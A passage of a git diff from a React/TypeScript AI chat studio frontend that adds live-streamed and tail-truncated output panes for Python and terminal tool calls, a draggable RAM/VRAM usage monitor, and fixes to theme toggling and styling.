+/** Tail-line cap so a huge output never mounts a megabyte <pre> block. */
+const TAIL_LINES = 2000;
+/** Char backstop for pathological single-line outputs. */
+const TAIL_CHARS = 200_000;
+
+interface Tail {
+  visible: string;
+  hiddenLines: number;
+  hiddenChars: number;
+}
+
+export function tailText(text: string): Tail {
+  let visible = text;
+  let hiddenLines = 0;
+  let hiddenChars = 0;
+  const lines = visible.split("\n");
+  if (lines.length > TAIL_LINES) {
+    hiddenLines = lines.length - TAIL_LINES;
+    visible = lines.slice(hiddenLines).join("\n");
+  }
+  if (visible.length > TAIL_CHARS) {
+    hiddenChars = visible.length - TAIL_CHARS;
+    visible = visible.slice(hiddenChars);
+  }
+  return { visible, hiddenLines, hiddenChars };
+}
+
+/**
+ * Finished-tool output pane: renders the tail (~2000 lines) with a "Show all"
+ * toggle so a large output stays scrollable without janking the DOM. Copy
+ * buttons still copy the FULL text (owned by the caller), not the tail.
+ */
+export function ToolResultOutput({ text }: { text: string }) {
+  const [showAll, setShowAll] = useState(false);
+  const tail = useMemo(() => tailText(text), [text]);
+  const truncated = !showAll && (tail.hiddenLines > 0 || tail.hiddenChars > 0);
+
+  return (
+    <>
+      {truncated && (
+        <button
+          type="button"
+          onClick={() => setShowAll(true)}
+          className="mt-1 rounded px-1.5 py-0.5 text-xs text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+        >
+          {tail.hiddenLines > 0
+            ? `Show all (${tail.hiddenLines.toLocaleString()} earlier lines hidden)`
+            : `Show all (${tail.hiddenChars.toLocaleString()} earlier chars hidden)`}
+        </button>
+      )}
+      <pre className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs">
+        {showAll ? text : tail.visible}
+      </pre>
+    </>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx
index edce6200d5..5f11cb85a8 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx
@@ -326,7 +326,7 @@ const ImageGenerationToolUIImpl: ToolCallMessagePartComponent = ({
               <button
                 type="button"
                 className={cn(
-                  "block cursor-zoom-in rounded-2xl focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ring",
+                  "block cursor-zoom-in rounded-2xl focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-inset focus-visible:ring-ring",
                   imageDimensions ? "size-full" : "max-w-full",
                 )}
                 onClick={showPreview}
@@ -382,7 +382,7 @@ const ImageGenerationToolUIImpl: ToolCallMessagePartComponent = ({
                 {promptCanExpand ? (
                   <button
                     type="button"
-                    className="mt-2 inline-flex text-xs font-medium text-foreground/80 underline-offset-4 hover:text-foreground hover:underline focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background"
+                    className="mt-2 inline-flex text-xs font-medium text-foreground/80 underline-offset-4 hover:text-foreground hover:underline focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                     onClick={() =>
                       setExpandedCaptionPrompt((value) =>
                         value === captionPrompt ? null : captionPrompt,
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
index 1afffaed7d..1b3dd22000 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
@@ -6,6 +6,7 @@
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { getAuthToken } from "@/features/auth/session";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
+import { useToolArgsStatus } from "@assistant-ui/react";
 import { code as codePlugin } from "@streamdown/code";
 import { CodeIcon, CopyIcon } from "lucide-react";
 import { Tick02Icon } from "@/lib/tick-icon";
@@ -18,6 +19,14 @@ import {
   ToolFallbackRoot,
   ToolFallbackTrigger,
 } from "./tool-fallback";
+import { ToolLiveOutput } from "./tool-live-output";
+import { ToolResultOutput } from "./tool-result-output";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import {
+  preferFullToolOutput,
+  toolOutputKey,
+  useToolPaneScope,
+} from "@/features/chat";
 
 interface StructuredResult {
   text: string;
@@ -105,6 +114,7 @@ function isStructuredResult(val: unknown): val is StructuredResult {
 }
 
 const PythonToolUIImpl: ToolCallMessagePartComponent = ({
+  toolCallId,
   args,
   result,
   status,
@@ -112,6 +122,9 @@ const PythonToolUIImpl: ToolCallMessagePartComponent = ({
   const code = (args as { code?: string })?.code ?? "";
   const firstLine = code.split("\n")[0]?.slice(0, 60) ?? "";
   const isRunning = status?.type === "running";
+  // Args still streaming = the model is WRITING the code, not running it yet.
+  const { propStatus } = useToolArgsStatus();
+  const isWritingCode = isRunning && propStatus.code === "streaming";
 
   let output: string;
   let images: string[] = [];
@@ -129,10 +142,19 @@ const PythonToolUIImpl: ToolCallMessagePartComponent = ({
     output = "";
   }
 
+  // Show the fuller live stream over a truncated result, keeping its exit
+  // status. Session-transient: after a reload only the result remains.
+  const paneScope = useToolPaneScope();
+  const fullOutput = useChatRuntimeStore(
+    (s) => s.toolFullOutput[toolOutputKey(paneScope, toolCallId)] ?? "",
+  );
+  const displayOutput = preferFullToolOutput(fullOutput, output);
+
   const authToken = getAuthToken();
 
   return (
-    <ToolFallbackRoot>
+    // Open when mounted mid-run so live output shows; collapsed from history.
+    <ToolFallbackRoot defaultOpen={isRunning}>
       <ToolFallbackTrigger
         toolName={firstLine ? `Python: ${firstLine}` : "Python"}
         status={status}
@@ -150,19 +172,21 @@ const PythonToolUIImpl: ToolCallMessagePartComponent = ({
 
           {/* Output */}
           {isRunning ? (
-            <div className="mt-2 flex items-center gap-2 text-sm text-muted-foreground">
-              <Spinner className="size-3.5" />
-              <span>Running&hellip;</span>
-            </div>
-          ) : output ? (
+            <>
+              <div className="mt-2 flex items-center gap-2 text-sm text-muted-foreground">
+                <Spinner className="size-3.5" />
+                <span>{isWritingCode ? "Writing code…" : "Running…"}</span>
+              </div>
+              {/* Live stdout streamed via tool_output SSE events. */}
+              <ToolLiveOutput toolCallId={toolCallId} />
+            </>
+          ) : displayOutput ? (
             <div className="mt-2 border-t border-dashed pt-2">
               <div className="flex items-center justify-between">
                 <span className="text-xs font-medium text-muted-foreground">output</span>
-                <CopyBtn text={output} />
+                <CopyBtn text={displayOutput} />
               </div>
-              <pre className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs">
-                {truncate(output)}
-              </pre>
+              <ToolResultOutput text={displayOutput} />
             </div>
           ) : null}
 
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
index c088d5cf98..17ae26d388 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
@@ -5,6 +5,7 @@
 
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
+import { useToolArgsStatus } from "@assistant-ui/react";
 import { CopyIcon, TerminalIcon } from "lucide-react";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -15,16 +16,17 @@ import {
   ToolFallbackRoot,
   ToolFallbackTrigger,
 } from "./tool-fallback";
+import { ToolLiveOutput } from "./tool-live-output";
+import { ToolResultOutput } from "./tool-result-output";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import {
+  preferFullToolOutput,
+  toolOutputKey,
+  useToolPaneScope,
+} from "@/features/chat";
 
-const MAX_DISPLAY = 10_000;
 const COPY_RESET_MS = 2000;
 
-function truncate(text: string): string {
-  return text.length <= MAX_DISPLAY
-    ? text
-    : `${text.slice(0, MAX_DISPLAY)}\n... (truncated)`;
-}
-
 function CopyBtn({ text }: { text: string }) {
   const [copied, setCopied] = useState(false);
   const timer = useRef<ReturnType<typeof setTimeout> | null>(null);
@@ -65,12 +67,16 @@ function CopyBtn({ text }: { text: string }) {
 }
 
 const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
+  toolCallId,
   args,
   result,
   status,
 }) => {
   const command = (args as { command?: string })?.command ?? "";
   const isRunning = status?.type === "running";
+  // Args still streaming = the model is WRITING the command, not running it yet.
+  const { propStatus } = useToolArgsStatus();
+  const isWritingCommand = isRunning && propStatus.command === "streaming";
   const output =
     typeof result === "string"
       ? result
@@ -78,8 +84,17 @@ const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
         ? JSON.stringify(result, null, 2)
         : "";
 
+  // Show the fuller live stream over a truncated result, keeping its exit
+  // status. Session-transient: after a reload only the result remains.
+  const paneScope = useToolPaneScope();
+  const fullOutput = useChatRuntimeStore(
+    (s) => s.toolFullOutput[toolOutputKey(paneScope, toolCallId)] ?? "",
+  );
+  const displayOutput = preferFullToolOutput(fullOutput, output);
+
   return (
-    <ToolFallbackRoot>
+    // Open when mounted mid-run so live output shows; collapsed from history.
+    <ToolFallbackRoot defaultOpen={isRunning}>
       <ToolFallbackTrigger
         toolName={command ? `$ ${command.slice(0, 60)}` : "Terminal"}
         status={status}
@@ -88,19 +103,21 @@ const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
       <ToolFallbackContent>
         <div className="border-l-2 border-muted-foreground/20 pl-2">
           {isRunning ? (
-            <div className="flex items-center gap-2 text-sm text-muted-foreground">
-              <Spinner className="size-3.5" />
-              <span>Running&hellip;</span>
-            </div>
-          ) : output ? (
+            <>
+              <div className="flex items-center gap-2 text-sm text-muted-foreground">
+                <Spinner className="size-3.5" />
+                <span>{isWritingCommand ? "Writing command…" : "Running…"}</span>
+              </div>
+              {/* Live stdout streamed via tool_output SSE events. */}
+              <ToolLiveOutput toolCallId={toolCallId} />
+            </>
+          ) : displayOutput ? (
             <div>
               <div className="flex items-center justify-between">
                 <span className="text-xs font-medium text-muted-foreground">output</span>
-                <CopyBtn text={output} />
+                <CopyBtn text={displayOutput} />
               </div>
-              <pre className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs">
-                {truncate(output)}
-              </pre>
+              <ToolResultOutput text={displayOutput} />
             </div>
           ) : null}
         </div>
diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx
new file mode 100644
index 0000000000..1272a577e9
--- /dev/null
+++ b/studio/frontend/src/components/floating-monitor.tsx
@@ -0,0 +1,189 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Progress } from "@/components/ui/progress";
+import { useMonitorOverlayStore } from "@/features/settings";
+import { useSystemInfo } from "@/hooks/use-system";
+import { useT } from "@/i18n";
+import { cn } from "@/lib/utils";
+import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react";
+import { AnimatePresence, motion, useDragControls } from "motion/react";
+import { type PointerEvent, useMemo, useState } from "react";
+
+function clampPercent(value: number): number {
+  return Math.max(0, Math.min(100, value));
+}
+
+function usageIndicatorClass(percent: number): string {
+  if (percent >= 90) {
+    return "bg-destructive";
+  }
+  if (percent >= 70) {
+    return "bg-amber-500";
+  }
+  return "bg-control-accent";
+}
+
+function usageTextClass(percent: number): string {
+  if (percent >= 90) {
+    return "text-destructive";
+  }
+  if (percent >= 70) {
+    return "text-amber-600 dark:text-amber-400";
+  }
+  return "text-primary";
+}
+
+function formatGiB(value: number): string {
+  // RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+  // nvidia-smi and PyTorch, so label the readout GiB rather than GB.
+  const digits = value >= 10 ? 1 : 2;
+  return `${value.toFixed(digits)} GiB`;
+}
+
+export function FloatingMonitor() {
+  const t = useT();
+  const { isOpen, setIsOpen } = useMonitorOverlayStore();
+  const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 });
+
+  const [constraintsElement, setConstraintsElement] =
+    useState<HTMLDivElement | null>(null);
+  const constraintsRef = useMemo(
+    () => ({ current: constraintsElement }),
+    [constraintsElement],
+  );
+  const dragControls = useDragControls();
+
+  function startDrag(event: PointerEvent<HTMLDivElement>) {
+    event.preventDefault();
+    dragControls.start(event);
+  }
+
+  const ramTotal = systemInfo.memory?.total_gb ?? 0;
+  const ramAvailable = systemInfo.memory?.available_gb ?? 0;
+  const ramUsed = Math.max(0, ramTotal - ramAvailable);
+  const ramPercent = clampPercent(systemInfo.memory?.percent_used ?? 0);
+
+  const devices = systemInfo.gpu?.devices ?? [];
+  const vramTotal = devices.reduce(
+    (sum, device) => sum + (device.memory_total_gb ?? 0),
+    0,
+  );
+  const vramUsed = devices.reduce(
+    (sum, device) => sum + (device.vram_used_gb ?? 0),
+    0,
+  );
+  const vramPercent = clampPercent(
+    vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0,
+  );
+
+  const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0;
+
+  return (
+    <AnimatePresence>
+      {isOpen && (
+        <div
+          ref={setConstraintsElement}
+          className="fixed inset-0 z-50 pointer-events-none"
+        >
+          <motion.div
+            drag={true}
+            dragControls={dragControls}
+            dragListener={false}
+            dragConstraints={constraintsRef}
+            dragElastic={0}
+            dragMomentum={false}
+            initial={{ opacity: 0, scale: 0.9 }}
+            animate={{ opacity: 1, scale: 1 }}
+            exit={{ opacity: 0, scale: 0.9 }}
+            className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
+          >
+            <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
+              <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
+                <CpuIcon className="size-3.5 shrink-0 text-primary" />
+                <span className="truncate">
+                  {t("settings.resources.liveMonitor.title")}
+                </span>
+              </div>
+              <div className="flex items-center gap-1 shrink-0">
+                <div
+                  onPointerDown={startDrag}
+                  className="touch-none cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing"
+                >
+                  <GripVerticalIcon className="size-3.5" />
+                </div>
+
+                <Button
+                  size="icon-xs"
+                  variant="ghost"
+                  className="text-muted-foreground hover:text-foreground"
+                  onClick={() => setIsOpen(false)}
+                  title={t("common.close")}
+                  aria-label={t("common.close")}
+                >
+                  <XIcon className="size-3" />
+                </Button>
+              </div>
+            </div>
+
+            <motion.div
+              initial={{ opacity: 0, height: 0 }}
+              animate={{ opacity: 1, height: "auto" }}
+              exit={{ opacity: 0, height: 0 }}
+              className="space-y-3 overflow-hidden"
+            >
+              <div className="space-y-1">
+                <div className="flex justify-between text-[11px] font-medium font-mono">
+                  <span>{t("settings.resources.liveMonitor.ram")}</span>
+                  <span
+                    className={cn("tabular-nums", usageTextClass(ramPercent))}
+                  >
+                    {Math.round(ramPercent)}%
+                  </span>
+                </div>
+                <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                  {formatGiB(ramUsed)} / {formatGiB(ramTotal)}
+                </div>
+                <Progress
+                  value={ramPercent}
+                  className="mt-1 h-1.5 rounded-full bg-muted"
+                  indicatorClassName={usageIndicatorClass(ramPercent)}
+                />
+              </div>
+
+              {hasGpu && (
+                <div className="space-y-1">
+                  <div className="flex justify-between text-[11px] font-medium font-mono">
+                    <span className="truncate flex-1 pr-2">
+                      {t("settings.resources.liveMonitor.vram")}{" "}
+                      {devices.length > 1
+                        ? `(${devices.length} GPUs)`
+                        : `(${devices[0].name ?? "GPU"})`}
+                    </span>
+                    <span
+                      className={cn(
+                        "shrink-0 tabular-nums",
+                        usageTextClass(vramPercent),
+                      )}
+                    >
+                      {Math.round(vramPercent)}%
+                    </span>
+                  </div>
+                  <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                    {formatGiB(vramUsed)} / {formatGiB(vramTotal)}
+                  </div>
+                  <Progress
+                    value={vramPercent}
+                    className="mt-1 h-1.5 rounded-full bg-muted"
+                    indicatorClassName={usageIndicatorClass(vramPercent)}
+                  />
+                </div>
+              )}
+            </motion.div>
+          </motion.div>
+        </div>
+      )}
+    </AnimatePresence>
+  );
+}
diff --git a/studio/frontend/src/components/llama-update-banner.tsx b/studio/frontend/src/components/llama-update-banner.tsx
index 840383de90..3db15ffe30 100644
--- a/studio/frontend/src/components/llama-update-banner.tsx
+++ b/studio/frontend/src/components/llama-update-banner.tsx
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Button } from "@/components/ui/button";
+import { resyncInferenceStatusAfterServerModelChange } from "@/features/chat";
 import { useLlamaUpdateCheck } from "@/hooks/use-llama-update-check";
 import { useShowLlamaUpdateBanner } from "@/hooks/use-llama-update-pref";
 import { toast } from "@/lib/toast";
@@ -81,9 +82,14 @@ export function LlamaUpdateBanner({
   positioned = true,
 }: LlamaUpdateBannerProps): ReactElement | null {
   const showBannerPref = useShowLlamaUpdateBanner();
+  // Not gated on showBannerPref: this hook instance is the app-wide listener
+  // for a cross-tab reload_required resync (the settings-sheet's own instance
+  // only runs during an MTP-fallback rebuild), so muting the banner must not
+  // also silence that resync -- it only suppresses the UI below.
   const { status, visible, applying, apply, dismiss, snooze } =
     useLlamaUpdateCheck({
-      enabled: enabled && showBannerPref,
+      enabled,
+      onReloadRequired: resyncInferenceStatusAfterServerModelChange,
     });
 
   async function handleUpdate() {
@@ -102,7 +108,10 @@ export function LlamaUpdateBanner({
   }
 
   const show =
-    visible && status != null && (status.update_available || applying);
+    showBannerPref &&
+    visible &&
+    status != null &&
+    (status.update_available || applying);
   const sizeBytes = status?.update_size_bytes ?? null;
   const sizeLabel =
     sizeBytes && sizeBytes > 0
diff --git a/studio/frontend/src/components/section-card.tsx b/studio/frontend/src/components/section-card.tsx
index cd8eb3d503..e894749494 100644
--- a/studio/frontend/src/components/section-card.tsx
+++ b/studio/frontend/src/components/section-card.tsx
@@ -17,10 +17,10 @@ interface SectionCardProps {
 }
 
 const accentStyles = {
+  // Brand accent variant; follows the active palette via --control-accent.
   emerald: {
-    border: "ring-emerald-500/20",
-    iconBox:
-      "ring-emerald-200 bg-emerald-50 text-emerald-600 dark:ring-emerald-800 dark:bg-emerald-950 dark:text-emerald-400",
+    border: "ring-control-accent/20",
+    iconBox: "ring-control-accent/25 bg-control-accent/10 text-control-accent",
   },
   indigo: {
     border: "ring-indigo-500/20",
@@ -61,7 +61,7 @@ export function SectionCard({
       )}
     >
       {featured && (
-        <div className="pointer-events-none absolute inset-x-0 top-0 h-24 bg-gradient-to-b from-emerald-500/[0.04] to-transparent" />
+        <div className="pointer-events-none absolute inset-x-0 top-0 h-24 bg-gradient-to-b from-control-accent/[0.04] to-transparent" />
       )}
       {/* Header */}
       <div className="flex items-center gap-3">
@@ -77,7 +77,7 @@ export function SectionCard({
           <div className="flex items-center gap-2 pb-1">
             <h3 className="text-sm font-semibold">{title}</h3>
             {badge && (
-              <span className="rounded-full bg-emerald-100 px-2 py-0.5 text-[10px] font-semibold text-emerald-700 dark:bg-emerald-900 dark:text-emerald-300">
+              <span className="rounded-full bg-control-accent/15 px-2 py-0.5 text-[10px] font-semibold text-control-accent">
                 {badge}
               </span>
             )}
diff --git a/studio/frontend/src/components/tauri/window-titlebar.tsx b/studio/frontend/src/components/tauri/window-titlebar.tsx
index 66efe8d74a..d86af54f79 100644
--- a/studio/frontend/src/components/tauri/window-titlebar.tsx
+++ b/studio/frontend/src/components/tauri/window-titlebar.tsx
@@ -93,7 +93,7 @@ function WindowControlButton({
       title={label}
       onClick={onClick}
       className={cn(
-        "relative z-[80] inline-flex size-8 items-center justify-center rounded-[10px] text-muted-foreground/90 transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+        "relative z-[80] inline-flex size-8 items-center justify-center rounded-[10px] text-muted-foreground/90 transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
         className,
       )}
     >
@@ -287,7 +287,7 @@ export function WindowTitlebar({
                     event.stopPropagation();
                     togglePinned();
                   }}
-                  className="inline-flex size-8 shrink-0 items-center justify-center rounded-[10px] text-nav-icon-idle transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="inline-flex size-8 shrink-0 items-center justify-center rounded-[10px] text-nav-icon-idle transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                 >
                   <HugeiconsIcon
                     icon={LayoutAlignLeftIcon}
@@ -307,7 +307,7 @@ export function WindowTitlebar({
                   event.stopPropagation();
                   togglePinned();
                 }}
-                className="inline-flex size-8 items-center justify-center rounded-[10px] transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                className="inline-flex size-8 items-center justify-center rounded-[10px] transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
               >
                 <img
                   src="/rounded-512.png"
diff --git a/studio/frontend/src/components/ui/accordion.tsx b/studio/frontend/src/components/ui/accordion.tsx
index 35de233858..2bb147d6c6 100644
--- a/studio/frontend/src/components/ui/accordion.tsx
+++ b/studio/frontend/src/components/ui/accordion.tsx
@@ -7,7 +7,7 @@ import { Accordion as AccordionPrimitive } from "radix-ui";
 import type * as React from "react";
 
 import { cn } from "@/lib/utils";
-import { ArrowDown01Icon, ArrowUp01Icon } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon, ChevronUpStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 function Accordion({
@@ -56,13 +56,13 @@ function AccordionTrigger({
       >
         {children}
         <HugeiconsIcon
-          icon={ArrowDown01Icon}
+          icon={ChevronDownStandardIcon}
           strokeWidth={2}
           data-slot="accordion-trigger-icon"
           className="pointer-events-none shrink-0 group-aria-expanded/accordion-trigger:hidden"
         />
         <HugeiconsIcon
-          icon={ArrowUp01Icon}
+          icon={ChevronUpStandardIcon}
           strokeWidth={2}
           data-slot="accordion-trigger-icon"
           className="pointer-events-none hidden shrink-0 group-aria-expanded/accordion-trigger:inline"
diff --git a/studio/frontend/src/components/ui/animated-theme-toggler.tsx b/studio/frontend/src/components/ui/animated-theme-toggler.tsx
index d83e278401..e4936b0240 100644
--- a/studio/frontend/src/components/ui/animated-theme-toggler.tsx
+++ b/studio/frontend/src/components/ui/animated-theme-toggler.tsx
@@ -6,7 +6,7 @@ import { Moon, Sun } from "lucide-react"
 import { flushSync } from "react-dom"
 
 import { cn } from "@/lib/utils"
-import { setTheme } from "@/features/settings/stores/theme-store"
+import { prefersReducedMotion, setTheme } from "@/features/settings"
 
 interface AnimatedThemeTogglerProps extends React.ComponentPropsWithoutRef<"button"> {
   duration?: number
@@ -15,6 +15,7 @@ interface AnimatedThemeTogglerProps extends React.ComponentPropsWithoutRef<"butt
 export function useAnimatedThemeToggle(duration = 400) {
   const [isDark, setIsDark] = useState(false)
   const anchorRef = useRef<HTMLElement | null>(null)
+  const inFlightRef = useRef(false)
 
   useEffect(() => {
     const updateTheme = () => {
@@ -30,45 +31,63 @@ export function useAnimatedThemeToggle(duration = 400) {
   }, [])
 
   const toggleTheme = useCallback(async () => {
-    const anchor = anchorRef.current
+    // One toggle per animation. Clicks during a slow view transition would
+    // otherwise queue up and land as invisible back-and-forth flips, so the
+    // theme looks stuck until an odd number of clicks gets through.
+    if (inFlightRef.current) return
+
     const applyTheme = () => {
       flushSync(() => {
-        const newTheme = !isDark
-        setIsDark(newTheme)
-        setTheme(newTheme ? "dark" : "light")
+        // Read the live class instead of React state, which can lag the DOM
+        // while a transition is being captured.
+        const nextDark = !document.documentElement.classList.contains("dark")
+        setIsDark(nextDark)
+        setTheme(nextDark ? "dark" : "light")
       })
     }
 
-    if (!document.startViewTransition) {
+    // Skip the view transition (its clip-path runs via the Web Animations API,
+    // which CSS force-reduced-motion cannot reach) when reduced motion is set.
+    if (!document.startViewTransition || prefersReducedMotion()) {
       applyTheme()
       return
     }
 
-    await document.startViewTransition(applyTheme).ready
+    inFlightRef.current = true
+    try {
+      const transition = document.startViewTransition(applyTheme)
+      await transition.ready
 
-    if (anchor) {
-      const { top, left, width, height } = anchor.getBoundingClientRect()
-      const x = left + width / 2
-      const y = top + height / 2
-      const maxRadius = Math.hypot(
-        Math.max(left, window.innerWidth - left),
-        Math.max(top, window.innerHeight - top)
-      )
-      document.documentElement.animate(
-        {
-          clipPath: [
-            `circle(0px at ${x}px ${y}px)`,
-            `circle(${maxRadius}px at ${x}px ${y}px)`,
-          ],
-        },
-        {
-          duration,
-          easing: "ease-in-out",
-          pseudoElement: "::view-transition-new(root)",
-        }
-      )
+      const anchor = anchorRef.current
+      if (anchor) {
+        const { top, left, width, height } = anchor.getBoundingClientRect()
+        const x = left + width / 2
+        const y = top + height / 2
+        const maxRadius = Math.hypot(
+          Math.max(left, window.innerWidth - left),
+          Math.max(top, window.innerHeight - top)
+        )
+        document.documentElement.animate(
+          {
+            clipPath: [
+              `circle(0px at ${x}px ${y}px)`,
+              `circle(${maxRadius}px at ${x}px ${y}px)`,
+            ],
+          },
+          {
+            duration,
+            easing: "ease-in-out",
+            pseudoElement: "::view-transition-new(root)",
+          }
+        )
+      }
+      await transition.finished
+    } catch {
+      // A skipped transition still applied the theme.
+    } finally {
+      inFlightRef.current = false
     }
-  }, [isDark, duration])
+  }, [duration])
 
   return { isDark, toggleTheme, anchorRef }
 }
@@ -78,70 +97,13 @@ export const AnimatedThemeToggler = ({
   duration = 400,
   ...props
 }: AnimatedThemeTogglerProps) => {
-  const [isDark, setIsDark] = useState(false)
-  const buttonRef = useRef<HTMLButtonElement>(null)
-
-  useEffect(() => {
-    const updateTheme = () => {
-      setIsDark(document.documentElement.classList.contains("dark"))
-    }
-
-    updateTheme()
-
-    const observer = new MutationObserver(updateTheme)
-    observer.observe(document.documentElement, {
-      attributes: true,
-      attributeFilter: ["class"],
-    })
-
-    return () => observer.disconnect()
-  }, [])
-
-  const toggleTheme = useCallback(async () => {
-    if (!buttonRef.current) return
-
-    const apply = () => {
-      flushSync(() => {
-        const newTheme = !isDark
-        setIsDark(newTheme)
-        setTheme(newTheme ? "dark" : "light")
-      })
-    }
-
-    if (!document.startViewTransition) {
-      apply()
-      return
-    }
-
-    await document.startViewTransition(apply).ready
-
-    const { top, left, width, height } =
-      buttonRef.current.getBoundingClientRect()
-    const x = left + width / 2
-    const y = top + height / 2
-    const maxRadius = Math.hypot(
-      Math.max(left, window.innerWidth - left),
-      Math.max(top, window.innerHeight - top)
-    )
-
-    document.documentElement.animate(
-      {
-        clipPath: [
-          `circle(0px at ${x}px ${y}px)`,
-          `circle(${maxRadius}px at ${x}px ${y}px)`,
-        ],
-      },
-      {
-        duration,
-        easing: "ease-in-out",
-        pseudoElement: "::view-transition-new(root)",
-      }
-    )
-  }, [isDark, duration])
+  const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle(duration)
 
   return (
     <button
-      ref={buttonRef}
+      ref={(node) => {
+        anchorRef.current = node
+      }}
       onClick={toggleTheme}
       className={cn(className)}
       {...props}
diff --git a/studio/frontend/src/components/ui/badge.tsx b/studio/frontend/src/components/ui/badge.tsx
index 0f2f334986..a476a16b89 100644
--- a/studio/frontend/src/components/ui/badge.tsx
+++ b/studio/frontend/src/components/ui/badge.tsx
@@ -10,7 +10,7 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 export const badgeVariants = cva(
-  "h-5 gap-1 rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium transition-all has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&>svg]:size-3! inline-flex items-center justify-center w-fit whitespace-nowrap shrink-0 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive overflow-hidden group/badge",
+  "h-5 gap-1 rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium transition-all has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&>svg]:size-3! inline-flex items-center justify-center w-fit whitespace-nowrap shrink-0 [&>svg]:pointer-events-none focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive overflow-hidden group/badge",
   {
     variants: {
       variant: {
diff --git a/studio/frontend/src/components/ui/button.tsx b/studio/frontend/src/components/ui/button.tsx
index 51fc31697e..e3663d724b 100644
--- a/studio/frontend/src/components/ui/button.tsx
+++ b/studio/frontend/src/components/ui/button.tsx
@@ -10,14 +10,14 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 export const buttonVariants = cva(
-  "focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 rounded-full border border-transparent text-sm font-medium focus-visible:ring-[3px] aria-invalid:ring-[3px] [&_svg:not([class*='size-'])]:size-4 inline-flex items-center justify-center whitespace-nowrap transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&_svg]:shrink-0 outline-none group/button select-none cursor-pointer",
